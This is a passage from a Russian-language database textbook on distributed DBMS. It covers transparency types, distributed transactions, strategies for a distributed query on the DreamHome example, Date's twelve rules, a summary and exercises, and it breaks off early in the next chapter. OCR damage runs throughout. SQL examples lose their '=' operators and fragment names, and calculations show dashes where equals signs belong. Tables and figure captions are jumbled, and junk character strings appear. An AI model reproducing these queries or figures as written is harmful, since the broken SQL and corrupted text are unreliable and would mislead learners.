С прозрачностью расположения очень тесно связан еще один тип прозрачности — прозрачность репликации. Он означает, что пользователю не требуется иметь сведения о существующей репликации фрагментов. Под прозрачностью репликации подразумевается прозрачность расположения реплик. Однако могут существовать системы, которые не обеспечивают прозрачности расположения, но поддерживают прозрачность репликации.
Прозрачность локального отображения
Это самый низкий уровень прозрачности распределенности. При наличии в системе прозрачности локального отображения пользователю необходимо указывать как имена используемых фрагментов, так и расположение соответствующих элементов данных. Тот же самый запрос в системе с прозрачностью локального отображения приобретает следующий вид:
SELECT fname, Iname
FROM S21 AT SITE 3
WHERE sno IN (SELECT sno FROM Sj AT SITE 5 WHERE position’'Manager')
UNION
SELECT fname, Iname
FROM S22 AT SITE 5
WHERE sno IN (SELECT sno FROM S2 AT SITE 5 WHERE position’'Manager')
UNION
SELECT fname, Iname
FROM S23 AT SITE 7
WHERE sno IN (SELECT sno FROM Si AT SITE 5 WHERE position'Manager');
Из соображений наглядности, мы в данном случае дополнили язык SQL новым ключевым словом AT SITE, позволяющим указать, где именно расположен требуемый фрагмент данных. Очевидно, что в данном случае запрос имеет более сложный вид и на его подготовку потребуется больше времени, чем в двух предыдущих случаях. Маловероятно, чтобы система, предоставляющая только такой уровень прозрачности распределенности, была приемлема для конечного пользователя.
Прозрачность именования
Прямым следствием обсуждавшихся выше вариантов прозрачности распределенности является требование наличия прозрачности именования. Как и в случае централизованной базы данных, каждый элемент распределенной базы данных должен иметь уникальное имя. Следовательно, СУРБД должна гарантировать, что никакие два сайта системы не смогут создать некоторый объект базы данных, имеющий одно и то же имя. Одним из вариантов решения этой проблемы является создание центрального сервера имен, который будет нести ответственность за полную уникальность всех существующих в системе имен. Однако подобному подходу свойственны такие недостатки, как:
утрата определенной части локальной автономии;
появление проблем с производительностью (поскольку центральный сайт превращается в узкое место всей системы);
снижение доступности — если центральный сайт по какой-либо причине станет недоступным, все остальные сайты системы не смогут создавать никаких новых объектов базы данных.
Альтернативное решение состоит в использовании префиксов, помещаемых в имена объектов в качестве идентификатора сайта, создавшего этот объект. Например, отношение Branch, созданное на сайте S], могло бы получить имя SI.BRANCH. Аналогичным образом, необходимо иметь возможность идентифицировать каждый фрагмент и каждую его копию. Поэтому второй копии третьего фрагмента отношения Branch, созданного на сайте Sp можно было бы присвоить имя SI.BRANCH.F3.C2. Однако подобный подход приводит к утрате прозрачности распределенности.
Подход, который позволяет преодолеть недостатки, свойственные обоим упомянутым методам, состоит в использовании алиасов, создаваемых для каждого из объектов базы данных. В результате объект SI .BRANCH.F3.C2 пользователям сайта S: может быть известен под именем local_branch. Задача преобразования алиаса в истинное имя соответствующего объекта базы данных возлагается на СУРБД.
Прозрачность транзакций
Прозрачность транзакций в среде распределенных СУБД означает, что при выполнении любых распределенных транзакций гарантируется сохранение целостности и согласованности распределенной базы данных. Распределенная транзакция осуществляет доступ к данным, сохраняемым более чем в одном местоположении. Каждая из транзакций разделяется на несколько субтранзакций — по одной для каждого сайта, к данным которого осуществляется доступ. На удаленных сайтах субтранзакции представляются агентами.
Пример 19.6. Распределенная транзакция
; Рассмотрим выполнение транзакции Т, выполняющей распечатку имен всего персонала компании, при использовании схемы фрагментации, определенной выше в
; виде фрагментов S^ S2, S21, S22 и S23. Транзакция будет включать три субтранзакции TS3, TS5 и TS7, представленные агентами на сайтах 3, 5 и 7 соответственно. Ка-
: ждая из субтранзакций печатает имена работников локального отделения компа- < нии. График распределенной транзакции показан в табл. 19.16. Обратите внима- : ние на естественную параллельность, свойственную системе, — каждая из руб- транзакций выполняется на своем сайте параллельно с остальными.
Таблица 19.15. Пример распределенной транзакции
Время
Транзакция Т^
Транзакция T^
Транзакция T^
tf
begin^transaction
begin^transaction
begin_transaction,
read(fname, Iname)
read(fname, Iname)
read(fname, Iname)
print(fname, Iname)
print(fname, Iname)
print(fname, Iname)
t.
end^transaction
end_transaction
end_transaction
Неделимость остается фундаментальной концепцией понятия транзакции и в случае распределенных транзакций, однако дополнительно СУРБД должна гарантировать неделимость и каждой из ее субтранзакций (см. раздел 17.1.1). Следовательно, СУРБД должна гарантировать не только синхронизацию субтранзакций с другими локальными транзакциями, выполняющимися параллельно с ними на одном сайте, но и обеспечить синхронизацию субтранзакций с глобальными транзакциями, выполняющимися одновременно с ними на этом и других сайтах системы. Прозрачность транзакций в распределенных СУБД дополнительно усложняется за счет наличия фрагментации, распределения данных и использования репликации. Мы рассмотрим два дополнительных аспекта прозрачности транзакций, таких как прозрачность параллельности и прозрачность отказов.
Прозрачность параллельности '
Прозрачность параллельности обеспечивается СУБРД в том случае, если результаты всех параллельно выполняемых транзакций (как распределенных, так и нераспределенных) генерируются независимо и являются логически согласующимися с результатами, которые были бы получены в том случае, если бы все эти транзакции выполнялись последовательно в некотором произвольном порядке, по одной в каждый момент времени. Существуют некоторые фундаментальные принципы, которые мы уже обсуждали при рассмотрении централизованных СУБД в разделе 17.2.2. Однако в случае распределенных СУБД имеют место дополнительные усложнения, свя- * занные с необходимостью гарантировать, что как глобальные, так и локальные транзакции не могут оказывать влияния друг на друга. Кроме того, СУРБД должны гарантировать согласованность всех субтранзакций каждой глобальной транзакции.
Наличие в системе репликации еще более усложняет проблему организации параллельной обработки в системе. Если одна из копий реплицируемых данных подвергается обновлению, сведения об этом в конечном счете должны быть представлены в каждой из существующих копий. В данном случае наиболее очевидная стратегия — сделать распространение сведений об изменении частью исходной транзакции, оформив его как еще одну атомарную операцию. Однако, если один из содержащих копию измененных данных сайтов окажется в момент внесения изменения недоступным из-за отказа на самом сайте или в канале связи, то выполнение транзакции будет отложено до тех пор, пока этот сайт вновь не станет доступным. Если существует большое количество копий данных, то вероятность успешного завершения транзакции уменьшается в экспоненциальной зависимости от их числа. Альтернативной стратегией является ограничение распространения сведений об изменении только теми сайтами, которые в данный момент доступны. На остальные сайты сведения об изменении поступят, как только они вновь станут доступными. Дополнительной стратегией могла бы быть выдача разрешения обновлять копии асинхронно, через некоторое время после внесения исходного обновления. Задержка в восстановлении целостности может варьироваться от нескольких секунд до нескольких часов. Подробное обсуждение корректных методов организации распределенной параллельности мы проведем в следующей главе.
Прозрачность отказов
В разделе 17.3.2 утверждалось, что любая централизованная СУБД должна включать механизм восстановления, который в подверженной различным сбоям и отказам среде будет гарантировать атомарность выполнения транзакций — либо все операции транзакции будут успешно завершены, либо ни одна из них. Более того, если результаты выполнения транзакции были зафиксированы, внесенные ею изменения приобретают длительный (или постоянный) характер. Также были рассмотрены различные типы отказов, которые могут иметь место в централизованных СУБД: сбои системы, отказ носителей, ошибки в программах, небрежность персонала, стихийные бедствия и действия злоумышленников. В распределенной среде СУРБД должна дополнительно учитывать следующее:
возможность потери сообщения;
возможность отказа линии связи;
аварийный останов одного из сайтов;
расчленение сетевых соединений.
СУРБД должна гарантировать атомарность глобальных транзакций, а это означает, что все ее субтранзакции будут либо зафиксированы, либо отменены. Следовательно, СУРБД должна синхронизировать выполнение глобальной транзакции таким образом, чтобы иметь гарантии, что все ее субтранзакции были успешно завершены до того, как началась финальная операция фиксации результатов всей глобальной транзакции. Например, рассмотрим глобальную транзакцию, которая выполняет обновление данных на двух сайтах, ST и S2. Пусть субтранзакция на сайте Sj завершается успешно и фиксирует свои результаты, однако субтранзакция на сайте S2 не может успешно завершить свое выполнение и производит откат внесенных изменений для сохранения целостности локальной базы данных. В результате распределенная транзакция оказывается в несогласованном состоянии, поскольку из-за свойства длительности транзакций результаты выполнения транзакции Sj отменить уже нельзя. Обсуждение корректных методов восстановления распределенных баз данных будет предложено вашему вниманию в следующей главе.
Прозрачность выполнения
Прозрачность выполнения требует, чтобы работа в среде СУРБД выполнялась точно так же, как и в среде централизованной СУБД. В распределенной среде работа системы не должна демонстрировать никакого снижения производительности, связанного с ее распределенной архитектурой, например с присутствием медленных сетевых соединений. Прозрачность выполнения также требует, чтобы СУРБД была способна находить наиболее эффективные стратегии выполнения запросов.
В централизованной СУБД обработчик запросов должен оценивать каждый запрос на доступ к данным и находить оптимальную стратегию его выполнения, представляющую собой упорядоченную последовательность операций с базой данных. В распределенной среде обработчик распределенных запросов отображает запрос на доступ к данным в упорядоченную последовательность операций локальных баз данных. Дополнительная сложность возникает из-за необходимости учитывать наличие фрагментации, репликации и определенной схемы размещения данных. Обработчик распределенных запросов должен выяснить:
к какому фрагменту следует обратиться;
какую копию фрагмента использовать, если его данные реплицируются;
какое из местоположений должно использоваться.
Обработчик распределенных запросов вырабатывает стратегию выполнения, которая является оптимальной с точки зрения некоторой стоимостной функции. Обычно распределенные запросы оцениваются по таким показателям:
время доступа, включающее физический доступ к данным на диске;
время работы центрального процессора, затрачиваемое на обработку данных в первичной памяти;
время, необходимое для передачи данных по сетевым соединениям.
Первые два фактора аналогичны тем, которые учитываются в централизованных системах. Однако в распределенной среде СУРБД необходимо учитывать и затраты на передачу данных, которые во многих случаях среди прочих затрат оказываются доминирующими. Последнее замечание будет особенно справедливо в случае использования медленных сетевых соединений, характерных для глобальных сетей. Скорость передачи данных в таких каналах может составлять лишь несколько килобайт в секунду. В подобных ситуациях при оптимизации можно игнорировать затраты на ввод/вывод и использование ЦП. Однако некоторые сетевые соединения имеют скорость передачи данных, сравнимую со скоростью доступа к дискам (например, локальные сетевые соединения). В этом случае при оптимизации должны учитываться все три показателя затрат.*
Один из подходов к оптимизации запросов предполагает минимизацию общих затрат времени, связанных с выполнением запроса (Sacco and Yao, 1982). Другой подход предусматривает минимизацию времени реакции системы на запрос. При этом основная задача оптимизатора запросов состоит в максимальном распараллеливании выполнения операций (Epstein et al., 1978). В некоторых случаях время реакции системы на запрос может быть существенно меньше общих затрат времени на его выполнение. Ниже приводится пример, взятый из работы Ротни и Гудмена (Rothnie and Goodman, 1977). Он иллюстрирует возможную ширину диапазона времени реакции системы на запрос в зависимости от выбора различных, но вполне допустимых стратегий его выполнения.
Пример 19.7. Обработка распределенного запроса
Рассмотрим упрощенный вариант реляционной схемы приложения DreamHome^ включающий следующих три отношения:
Propertydas, City)10 000 записей, хранимых в Лондоне
Renter (Rno, Max_Price)100 000 записей, хранимых в Глазго
Viewing(Pno, Rno)1 000 000 записей, хранимых в Лондоне
Чтобы получить список объектов недвижимости в Абердине, которые были Осмот- f рены потенциальными покупателями, согласными приобрести объекты недвижимости дороже 200 000 фунтов стерлингов, можно воспользоваться следующим ‘ SQL-запросом:
SELECT р.рпо
FROM property р INNER JOIN
J (renter r INNER JOIN viewing v ON r.rno = v.rno)
ON p.pno = v.pno
WHERE p.city = 'Aberdeen' AND r.max price > 200000;■ .
Для простоты предположим, что каждый кортеж в отношениях имеет длину, равную 100 символам, что существует только 10 покупателей, согласных приобрести недвижимость по цене больше 200 000 фунтов стерлингов, и что в городе Абердин было проведено 100 000 осмотров объектов недвижимости. Примем также, что
\ время выполнения вычислений несущественно по сравнению с временем передачи данных, а скорость передачи данных по каналам связи составляет 10 000 символов в секунду, причем на каждое отправляемое между двумя сайтами сообщение приходится задержка доступа, равная 1 секунде.
; Ротни (Rothnie) проанализировал шесть возможных стратегий выполнения этого запроса ; и для каждого из них вычислил соответствующее время реакции системы. Для определе- 1 ния времени передачи данных применялся алгоритм, описанный в разделе 19.2.
Стратегия 1.
Переслать отношение Renter в Лондон и выполнить там обработку запроса:.
Время = 1+(100 ООО * 100/10 000) = 16,7 мин.
Стратегия 2.
Переслать отношения Property и Viewing в Глазго и выполнить там обработку запроса: , Время = 2+[(1 ООО 000 + 10 000) * 100/10 ООО] ~ 28 ч.
Стратегия 3.
Соединить отношения Property и Viewing в Лондоне, выбрать кортежи для объектов недвижимости, расположенных в Абердине, а затем для каждого из отобранных кортежей проверить в Глазго, установил ли данный клиент значение потолка допустимой стоимости недвижимости Max_Price > 200 000 фунтов стерлингов. Проверка каждого кортежа предполагает отправку двух сообщений: запроса и ответа.
Время = 100 000 * (1+100/10 000) + 100 000 * 1 - 2,3 дня. .
Стратегия 4.
Выбрать в Глазго кортежи клиентов, установивших значение Max_Price > 200 000 фунтов стерлингов, после чего для каждого из них проверить в Лондоне, осматривал ли этот клиент объекты недвижимости в Абердине. И в этом случае каждая проверка включает отправку двух сообщений.<
Время = 10*(1+100/10 000) + 10* 1 - 20 с.
Стратегия 5.
Соединить отношения Property и Viewing в Лондоне, выбрать сведения об осмотрах объектов в Абердине, выполнить проекцию результирующей таблицы по атрибутам Рпо и Rno, после чего переслать полученный результат в Глазго для отбора кортежей по условию Max Price > 200 000 фунтов стерлингов. Для упрощения предположим, что длина кортежа после операции проекции также равна 100 символам.
Время = 1 + (100 000 * 100/10 000) - 16,7 мин.
Стратегия 6.
Выбрать клиентов со значением атрибута Max_Price > 200 000 фунтов стерлингов в Глазго и переслать результирующую таблицу в Лондон для отбора сведений об осмотрах объектов недвижимости в г. Абердин;
Время = 1 + (10 * 100/10 000) ~ 1 с.
. Таблица 19.16. Сравнение результатов применения различных стратегий для | обработки одного и того же распределенного запроса
№ СтратегияВремя
Окончание табл. 19.16
№
Стратегия
Время
5
Соединить отношения Property и Viewing в Лондоне, выбрать сведения об осмотрах объектов в Абердине, выполнить проекцию результирующей таблицы по атрибутам Рпо и Rno, после чего переслать полученный результат в Глазго для отбора кортежей по условию Max_Price > 200 000 фунтов стерлингов
16,7 мин
6
Выбрать клиентов со значением атрибута Max_Price > 200 000 фунтов стерлингов в Глазго и переслать результирующую таблицу в Лондон для отбора сведений об осмотрах объектов недвижимости в Абердине
1 с
Описание стратегий и время получения результата для каждой из них показаны в табл. 19.16. Как можно видеть, время ответа системы изменяется в диапазоне от 1 секунды до 2,3 дней, хотя каждая из предложенных стратегий является вполне корректной и позволяет получить ответ на данный запрос! Вполне очевидно, что, если для выполнения запроса будет выбрана неподходящая стратегия, это может оказать крайне негативное влияние на уровень производительности системы. Обработка распределенных запросов будет подробно обсуждаться в разделе 20.7.
Прозрачность использования СУБД
Прозрачность использования СУБД позволяет скрыть от пользователя СУРБД тот факт, что на разных сайтах могут функционировать различные локальные СУБД. Поэтому данный тип прозрачности применим только в случае гетерогенных распределенных систем. Как правило, это один из самых сложных в реализации типов прозрачности. Речь о проблемах, связанных с созданием гетерогенных систем, шла выше, в разделе 19.1.3.
Несколько слов в заключение
В начале этого раздела, посвященного обсуждению различных типов прозрачности в среде распределенных СУБД, отмечалось, что достижение полной прозрачности не всеми расценивается как желаемая цель. Как мы уже видели, концепция прозрачности не может быть отнесена к типу “все или ничего”, поскольку может быть организована на нескольких различных уровнях. Каждый из уровней подразумевает наличие определенного набора соглашений между сайтами, входящими в систему. Например, при полной прозрачности сайты должны следовать общему соглашению по таким вопросам, как модель данных, интерпретация схем, представление данных и набор функциональности, предоставляемый на каждом из сайтов. С другой стороны спектра находятся непрозрачные системы, в которых единственным соглашением является формат обмена данными и набор функциональных возможностей, предоставляемых каждым сайтом в системе.
С точки зрения конечного пользователя полная прозрачность весьма желательна. Однако с точки зрения АБД локальной базы полностью прозрачный доступ может быть связан с трудностями осуществления контроля. Традиционный способ работы с представлениями, зачастую используемый для построения защитного механизма, в этой ситуации может оказаться недостаточно эффективным. Например, механизм работы с представлениями языка SQL позволяет ограничивать доступ к базовым таблицам или подмножеству данных базовой таблицы и разрешать его только конкретным пользователям. Однако он не позволяет также легко ограничивать доступ к данным на основе набора критериев, отличных от имени пользователя. В учебном примере DreamHorne можно запретить конкретным пользователям удалять записи из таблицы Lease-Agreement, но невозможно простыми средствами защитить эту таблицу, разрешив удалять из нее только те строки, которые относятся к соглашениям об аренде, срок действия которых уже истек, все задолженности по платежам погашены арендатором, а сам объект недвижимости находится в удовлетворительном состоянии.
Проще обеспечить подобный тип функциональности с помощью процедур, которые будут запускаться удаленным пользователем. В этом случае локальные пользователи смогут работать с данными так же, как они работали прежде, при использовании стандартного механизма защиты СУБД. Однако удаленные пользователи смогут получать только такой тип доступа к данным, который реализован в предоставленном им наборе процедур, подобно тому, как это делается в объектноориентированных системах. Подобный тип федеральной архитектуры реализовать проще, чем обеспечить полную прозрачность системы, к тому же он предоставляет более высокий уровень локальной автономности.
Двенадцать правил Дейта для РСУБД
В последнем разделе данной главы мы перечислим двенадцать правил (или целей), которые были сформулированы Дейтом (Date, 1987) для типичной СУРБД. Основой для построения всех этих правил является то, что распределенная СУБД должна восприниматься конечным пользователем точно так же, как и привычная ему централизованная СУБД. Данные правила сходны с двенадцатью правилами Кодда для реляционных систем, представленными в разделе 3.6.
Правило 0. Основной принцип
С точки зрения конечного пользователя распределенная система должна выглядеть в точности так, как и обычная, нераспределенная система.
Правило 1. Локальная автономность
Сайты в распределенной системе должны быть автономными. В данном контексте автономность означает следующее:
локальные данные принадлежат локальным владельцам и сопровождаются локально;
все локальные процессы остаются чисто локальными;
все процессы на заданном сайте контролируются только этим сайтом.
Правило 2. Отсутствие опоры на центральный сайт
В системе не должно быть ни одного сайта, бег которого система не сможет функционировать. Это означает, что в системе не должна существовать центральных серверов таких служб, как управление транзакциями, i ыявление взаимных блокировок, оптимизация запросов и управление глобальным сгс темным каталогом.
Правило 3. Непрерывное функционирование
В идеале, в системе никогда не должна возникать потребность в плановом останове ее функционирования для выполнения таких операций, как:
добавление или удаление сайта из системы;
динамическое создание или удаление фрагментов из одного или нескольких сайтов.
Правило 4. Независимость от расположения
Независимость от расположения эквивалентна прозрачности расположения. Пользователь должен получать доступ к базе данных с любого из сайтов. Более того, пользователь должен получать доступ к любым данным так, как если бы они хранились на его сайте, независимо от того, где они физически сохраняются.
Правило 5. Независимость от фрагментации
Пользователь должен получать доступ к данным независимо от способа их фрагментации.
Правило 6. Независимость от репликации
Пользователь не должен нуждаться в сведениях о наличии репликации данных. Это значит, что пользователь не будет иметь средств для получения прямого доступа к конкретной копии элемента данных, а также не должен заботиться об обновлении всех имеющихся копий элемента данных.
Правило 7. Обработка распределенных запросов
Система должна поддерживать обработку запросов, ссылающихся на данные, расположенные на более чем одном сайте.
Правило 8. Обработка распределенных транзакций
Система должна поддерживать выполнение транзакций, как единицы восстановления. Система должна гарантировать, что выполнение как глобальных, так и локальных транзакций будет происходить с сохранением четырех основных свойств транзакций, а именно: атомарности, согласованности, изолированности и продолжительности.
Правило 9. Независимость от типа оборудования
СУРБД должна быть способна функционировать на оборудовании с различными вычислительными платформами.
Правило 10. Независимость от операционной системы
Прямым следствием предыдущего правила является требование, согласно которому СУРБД должна быть способна функционировать под управлением различных операционных систем.
Правило 11. Независимость от сетевой архитектуры
СУРБД должна быть способна функционировать в сетях с различной архитектурой и типами носителя.
Правило 12. Независимость от типа СУБД
СУРБД должна быть способна функционировать поверх различных локальных СУБД, возможно, с разным типом используемой модели данных. Другими словами, СУРБД должна поддерживать гетерогенность.
Последних четыре правила являются пока лишь идеальными. Поскольку их формулировка является слишком общей, и по причине недостаточности имеющихся стандартов на компьютерную и сетевую архитектуру, в обозримом будущем можно ожидать лишь частичного удовлетворения разработчиками указанных требований.
Резюме
Распределенная база данных представляет собой набор логически связанных между собой разделяемых данных (и их описаний), которые физически распределены в некоторой компьютерной сети. СУРБД представляет собой программный комплекс, предназначенный для прозрачного управления распределенной базой данных.
Распределенную СУБД не следует смешивать с распределенной обработкой, при которой доступ к централизованной СУБД одновременно предоставляется многим пользователям в компьютерной сети. СУРБД также отличается от параллельной СУБД, в которой локальная система управления базой данных функционирует с использованием нескольких процессоров и устройств вторичной памяти, что позволяет организовать параллельное выполнение операций (если это возможно) с целью повышения производительности системы.
Преимущества СУРБД заключаются в том, что она позволяет отразить структуру организации и повышает возможности совместного использования уда-
ленных данных, повышает надежность, доступность и производительность системы, позволяет получить экономию средств, а также организовать модульное увеличение размеров системы.
Все взаимодействия выполняются с помощью сетевых соединений, которые могут быть как локальными, так и глобальными. Локальные сетевые соединения устанавливаются на небольшие расстояния, но обеспечивают большую пропускную способность, чем глобальные.
Аналогично тому, как централизованная СУБД должна предоставлять определенный набор стандартных функций, распределенная СУБД должна предоставлять расширенные возможности установки соединений, включать расширенную службу системного каталога, обеспечивать распределенную обработку запросов, поддерживать расширенные средства распараллеливания операций, а также иметь собственную службу восстановления.
Каждое отношение может быть разделено на некоторое количество частей, называемых фрагментами. Фрагменты могут быть горизонтальными, вертикальными, смешанными и производными. Фрагменты распределяются на одном или нескольких сайтах. С целью улучшения доступности данных и повышения производительности системы для отдельных фрагментов может быть организована репликация.
Определение и распределение фрагментов выполняются для достижения следующих целей: обеспечения локальности ссылок, повышения надежности и доступности данных, обеспечения приемлемого уровня производительности, достижения баланса между стоимостью и емкостью устройств вторичной памяти, а также минимизации расходов на передачу данных. Три основных правила корректности фрагментации включают требования полноты, восстановимости и непересекаемости.
Существуют четыре стратегии распределения, определяющие способ размещения данных: централизованное (единственная централизованная база данных), фрагментированное распределение (каждый фрагмент размещается на одном из сайтов), распределение с полной репликацией (полная копия всей базы данных поддерживается на каждом сайте) и распределение с выборочной репликацией (комбинация первых трех способов).
С точки зрения пользователя, СУРБД должна выглядеть точно так же, как и обычная централизованная СУБД, что достигается за счет обеспечения различных типов прозрачности. Благодаря прозрачности распределения пользователи не нуждаются в каких-либо сведениях о существующей в системе фрагмен- тации/репликации. Прозрачность транзакций обеспечивает сохранение согласованности глобальной базы даже при наличии параллельного доступа к ней со стороны множества пользователей и наличия в системе различных отказов. Прозрачность выполнения позволяет системе эффективно обрабатывать запросы, включающие обращение к данным на нескольких сайтах. Прозрачность использования СУБД позволяет системе функционировать поверх установленных на отдельных сайтах локальных СУБД различного типа.
Вопросы
Поясните значение термина “СУРБД” и назовите причины создания подобных систем.
Сравните и укажите отличия между СУРБД и системами с распределенной обработкой. При каких обстоятельствах выбор СУРБД оказывается предпочтительней организации распределенной обработки?
Сравните и укажите отличия между СУРБД и системами с параллельной обработкой. При каких обстоятельствах СУРБД оказывается предпочтительнее параллельной СУБД?
Назовите преимущества и недостатки, свойственные распределенным системам.
Одна из интенсивно развивающихся областей теории распределенных систем связана с выработкой методологии разработки распределенных баз данных. Назовите главные особенности, которые должны учитываться при проектировании распределенных баз данных. Поясните, как эти вопросы связаны с глобальным системным каталогом.
В чем состоят стратегические цели определения и распределения фрагментов?
Дайте определение и укажите различия между альтернативными схемами фрагментации глобальных отношений. Поясните, как можно проверить корректность выполненных действий и получить гарантии того, что в процессе фрагментации в базу данных не было внесено семантических изменений.
Какие уровни прозрачности должны поддерживаться СУРБД? Обоснуйте ваш ответ.
СУРБД должна гарантировать, что на любой паре сайтов невозможно будет создать объект базы данных с одним и тем же именем. Одно из решений этой проблемы состоит в организации сервера имен. Какие недостатки свойственны этому подходу? Предложите альтернативный подход, свободный от указанных недостатков.
Упражнения
Крупная инженерная компания приняла решение распределить информацию, связанную с управлением выполняемыми в ней проектами, по всем регионам Великобритании. Существующая централизованная реляционная схема имеет следующее описание:
Employee (NIN, First_Name, Last_Name, Address, Birth_Date, Sex, Salary, Tax_Code, Dept_No)
Department (Dept No, Dept_Name, Manager_NIN, Business_Area_No, Region_No) Project(Proj^No, Proj_Name, Contract_Price,Project_Manager_NIN, Dept No)
Works_On^JIN, Proj No, Hours_Worked)
Business(Business Area=No, BusIness_Area_Name)
Region(Region No, Region_Name)
где Employee — отношение, содержащее сведения о работниках, первичный ключ — атрибут NIN
Department — отношение, содержащее сведения о подразделениях компании, пер вичный ключ — атрибут Dept_No. Атрибут Мап- ager_NIN определяет работника, являющегося руководителем подразделения. В каждом подразделении может быть только один руководитель.
Project — отношение, содержащее сведения о выполняемых в компании проектах, первичный ключ — атрибут Pro j_No. Руководитель проекта определяется атрибутом Pro ject_Manager NIN, а подразделение, в котором выполняется проект, — атрибутом Dept^No.
Works_On
— отношение, содержащее сведения о рабочих часах, отработанных работ никами по каждому проекту, первичный ключ — пара атрибутов (NIN, Proj No).
Business
— отношение, содержащее наименования деловых областей, первичныйключ — Business_Area_No.
Region
— отношение, содержащее наименования регионов, первичный ключ — атрибут Region_No.
Подразделения компании группируются по регионам следующим образом:
Region 1: 'Scotland' (Шотландия);
Region 2: 'Wales' (Уэллс);
Region 3: 'England' (Англия).
Информация собирается по отдельным деловым областям, к которым относятся: 'Software Engineering' (Программирование), 'Mechanical Engineering' (Механика) и 'Electrical Engineering' (Электротехника). Проекты по программированию не выполняются в Уэлльсе, а все подразделения, занимающиеся электротехникой, расположены в Англии. Для выполнения проектов набираются работники из местных подразделений компании.
Помимо регионального распределения данных, существует дополнительное требование — обеспечить доступ к данным о персонале либо по личным данным, либо по сведениям о выполняемой работе.
Подготовьте диаграмму “сущность-связь” (ER-диаграмму) для описанной выше системы.
Используя созданную в предыдущем упражнении ER-диаграмму, подготовьте проект распределенной базы данных для описанной выше системы, включающий следующее:
подходящую случаю схему фрагментации в системе;
при использовании первичной горизонтальной фрагментации подготовьте минимальный набор соответствующих предикатов;
приведите формулы реконструкции глобальных отношений из их фрагментов.
Обоснуйте любые сделанные вами при разработке проекта допущения.
Повторите упражнение 19.11 для учебного проекта DreamHome, описанного в разделе 1.7.
В разделе 19.5.1 (при обсуждении понятия прозрачности именования) для уникальной идентификации каждой реплики любого фрагмента было предложено использовать алиасы. Подготовьте эскизный проект реализации этого подхода для обеспечения прозрачности именования.
ГЛАВАГЛАВАконцепцииконцепции
ГЛАВА
ГЛАВА
концепции
концепции
aaС-!' 'Ж&С-!' 'Ж&Распределенные СУБД дополнительные
a
a
С-!' 'Ж&
С-!' 'Ж&
В этой главе.
Влияние распределенности базы данных на компоненты управления транзакциями.Л Л
Расширение технологий централизованного управления парал дельностью с целью применения в распределенной <^Д?- Обнаружение ситуации взаимной блокировки , 5 ; * ч при взаимодействии нескольких сайтов.
Восстановление после отказа базы данных в распределенной среде ♦ при использований двухфазного протокола фиксации (2PC)V'^f^ у .♦при использовании трехфазного протокола фикёации (ЗРС).
Проблемы выявления нарушений и поддержания целостно^ сти данных в распределенной среде. 3
Стандарт обработки транзакций Х/Орёп DTP
Реализация механизмов репликации,
в различных коммерческих системах; \>у Оптимизация распределённых запросов.-
Использованиеопераций полусоединения в распредёлйп&й среде
В предыдущей главе мы обсудили основные концепции построения систем управления распределенными базами данных (СУРБД) и выяснили, как можно расширить методологию концептуального и логического проектирования, предложенную в главах 7 и 8, для применения в подобных системах. С точки зрения пользователя предлагаемые СУРБД функциональные возможности выглядят весьма привлекательно. Однако с точки зрения реализации используемые для поддержки подобной функциональности протоколы и алгоритмы оказываются весьма сложными, что вызывает появление ряда серьезных проблем, в некоторых случаях способных даже перевесить те немалые преимущества, которые могут быть получены за счет развертывания СУРБД. В этой главе мы продолжим обсуждение технологии распределенных СУБД и познакомимся с тем, как обсуждавшиеся в главе 17 протоколы управления параллельностью, выявления взаимных блокировок и восстановления системы могут быть расширены с целью поддержки распределенности хранения данных и реализации механизмов репликации.
Структура этой главы
В разделе 20.1 кратко обсуждается назначение механизма управления распределенными транзакциями. В разделе 20.2 рассматривается, как может быть учтена распределенность хранения данных в определении понятия упорядоченности, приведенном в разделе 17.2.2, после чего обсуждаются методы расширения представленных в разделе 17.2 протоколов управления параллельностью с целью применения их в распределенной среде. В разделе 20.3 мы познакомимся с методами выявления состояния взаимной блокировки, сложность которых в распределенной среде существенно выше, а также обсудим протоколы, которые могут применяться в СУРБД для обнаружения взаимных блокировок. В разделе 20.4 рассматриваются отказы, которые могут иметь место в распределенной среде, а также протоколы, которые могут использоваться для получения гарантии атомарности распределенных транзакций и длительности результатов их выполнения. В разделе 20.5 кратко представлен протокол X/Open DTP, определяющий программный интерфейс для обработки транзакций. В разделе 20.6 мы обсудим методы реализации серверов репликации в существующих коммерческих СУБД как альтернативу использованию СУРБД. В заключение этой главы, в разделе 20.7, приведен краткий обзор методов оптимизации распределенных запросов. Все примеры в этой главе построены на использовании материала учебного проекта DreamHome, описание которого вы найдете в разделе 1.7.
Управление распределенными транзакциями .
В разделе 19.2 было отмечено, что цели распределенной обработки транзакций аналогичны тем, которые преследуются при обработке транзакций в централизованных системах, хотя используемые для этого методы существенно сложнее, поскольку СУРБД должна гарантировать неделимость всей глобальной транзакции, а также каждой из входящих в ее состав субтранзакций. В разделе 17.1.2 были выделены четыре высокоуровневых модуля базы данных, предназначенных для обработки транзакций, управления параллельностью и обеспечения восстановления в централизованных СУБД. Менеджер транзакций координирует выполнение запускаемых прикладными программами транзакций и взаимодействует с планировщиком, ответственным за реализацию выбранной стратегии управления параллельностью в системе. Цель работы планировщика состоит в достижении максимального уровня параллельности в системе с одновременной гарантией отсутствия какого-либо влияния параллельно выполняющихся транзакций друг на друга, что необходимо для постоянного сохранения базы данных в согласованном состоянии. Если в процессе выполнения транзакции происходит отказ, менеджер восстановления гарантирует, что
база данных будет восстановлена в согласованном состоянии, которое она имела до начала выполнения транзакции. Менеджер восстановления также отвечает за восстановление базы данных в некотором согласованном состоянии и после отказов системы. Менеджер буферов обеспечивает передачу данных между дисковыми устройствами и оперативной памятью компьютера.
В распределенной СУБД все эти модули по-прежнему существуют в каждой локальной СУБД. Кроме того, на каждом сайте функционирует менеджер глобальных транзакций или координатор транзакций, координирующий выполнение глобальных и локальных транзакций, инициированных на данном сайте. Все взаимодействия между сайтами осуществляются через компонент передачи данных (менеджеры транзакций на различных сайтах не взаимодействуют друг с другом напрямую).
Процедура выполнения глобальной транзакции, запущенной на сайте S1, будет выглядеть следующим образом.
Координатор транзакций (ТС1) на сайте S1 разделит транзакции на несколько субтранзакций, исходя из информации, сохраняемой в глобальном каталоге системы.
Компонент передачи данных на сайте S1 отправит описание соответствующих субтранзакций на сайты S2 и S3.
Координаторы транзакций на сайтах S2 и S3 организуют выполнение поступивших субтранзакций. Результаты их выполнения будут отправлены координатору ТС1 с помощью компонентов передачи данных. Весь описанный процесс схематически представлен на рис. 20.1.
Сайт 3Сайт 1Сайт 3Сайт 1Сайт 2Сайт 2
Сайт 3Сайт 1
Сайт 3Сайт 1
Сайт 2
Сайт 2
Рис. 20.1. Схема координации выполнения распределенных транзакций
